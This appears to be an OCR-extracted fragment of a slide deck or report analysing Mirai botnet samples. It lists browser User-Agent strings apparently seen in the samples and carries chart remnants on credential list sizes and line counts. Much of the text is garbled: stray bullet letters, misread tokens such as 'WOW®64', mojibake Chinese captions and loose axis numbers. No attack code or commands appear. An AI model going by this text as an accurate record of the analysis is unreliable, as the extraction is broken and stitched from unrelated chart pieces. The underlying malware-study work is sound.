"Mozilla/5.0 (Windows NT 10.0; WOW®64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103
Safari/537.36"

"Mozilla/5.0 (Windows NT 10.0; WOW®64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116
Safari/537.36"

"Mozilla/5.0 (Windows NT 10.0; WOW®64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116
Safari/537.36"

"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103
Safari/537.36"

"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103
Safari/537.36"

"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116
Safari/537.36"

"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116
Safari/537.36"

"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2
Safari/601.7.7"
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cluster 17127110 agent{5 &

e "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.0)"

e "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.122
Safari/537.36 SE 2.X MetaSr 1.0"

e "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.122
Safari/537.36 SE 2.X MetaSr 1.0"

* "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR
2.0.50727; .NET4.0E; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C)"

* "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR
2.0.50727; .NET4.0E; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C)"

e "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9b4) Gecko/2008030317 Firefox/3.0b4"
e "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9b4) Gecko/2008030317 Firefox/3.0b4"

e "Mozilla/5.0 (Windows; U; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; BIDUBrowser
8.7)"

.. (BWEET)
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HTTP agent

o ZAZFHIIHE23m

o WSCRFERE BB 2R 7Y
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>120%}

Size

4k

3k

2k

=100

Lines vs Sizes

14014

Mirai samples vary greatly in credentials size and lines

o

0

(O

O,

Sample Count

“1H (62, 620)

Lines

300

400
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已经检测到+154改变中样本
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